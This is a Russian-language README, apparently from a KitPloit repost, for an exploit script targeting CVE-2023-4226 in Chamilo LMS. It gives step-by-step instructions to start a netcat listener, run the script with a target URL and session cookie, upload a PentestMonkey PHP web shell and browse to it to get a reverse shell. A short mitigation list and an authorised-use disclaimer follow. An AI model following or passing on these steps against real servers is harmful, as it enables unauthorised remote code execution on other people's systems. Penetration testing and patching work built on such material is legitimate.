📦 Требования

• Python: requests, colorama.

  root@kitploit:~

  pip install requests colorama
  
  

• Файлы: rce.php (PentesterMonkey, включён в репозиторий), .htaccess (генерируется скриптом).

• Сеть: IP и порт для listener (напр. nc -lvnp 4444).

🛠️ Использование

1. Клонируй репозиторий:

   root@kitploit:~

   git clone https://github.com/SkyW4r33x/CVE-2023-4226
   cd CVE-2023-4226    
   

2. Выдай скрипту права на выполнение:

   root@kitploit:~

   chmod +x CVE-2023-4226.py    
   

3. Установи зависимости:

   root@kitploit:~

   pip install requests colorama    
   

4. Запусти listener в терминале:

   root@kitploit:~

   nc -lvnp 4444    
   

5. Выполни скрипт:

   root@kitploit:~

   ./CVE-2023-4226.py    
   

6. Введи:

   • URL Chamilo.
   • Cookie ch_sid.
   • IP и порт listener.

7. Перейди к вебшеллу, чтобы запустить reverse shell:

   root@kitploit:~

   http://<chamilo>/app/cache/rce.php    
   

   Пример: http://chamilo.local/app/cache/rce.php

🛡️ Меры предотвращения

• Обновись до Chamilo >= v1.11.26.

• Санитизируй имена файлов.

• Блокируй HTML в disable_dangerous_file().

• Добавь в .htaccess:

  root@kitploit:~

  RedirectMatch 403 ^/main/inc/lib/javascript/bigupload/files
  Header set X-Content-Type-Options nosniff    
  

⚠️ Правовое предупреждение

Использование только для авторизованного тестирования. Несанкционированное использование незаконно.

🙌 Благодарности

• Уязвимость: Ngo Wei Lin (@Creastery), STAR Labs.
• Скрипт: SkyW4r33x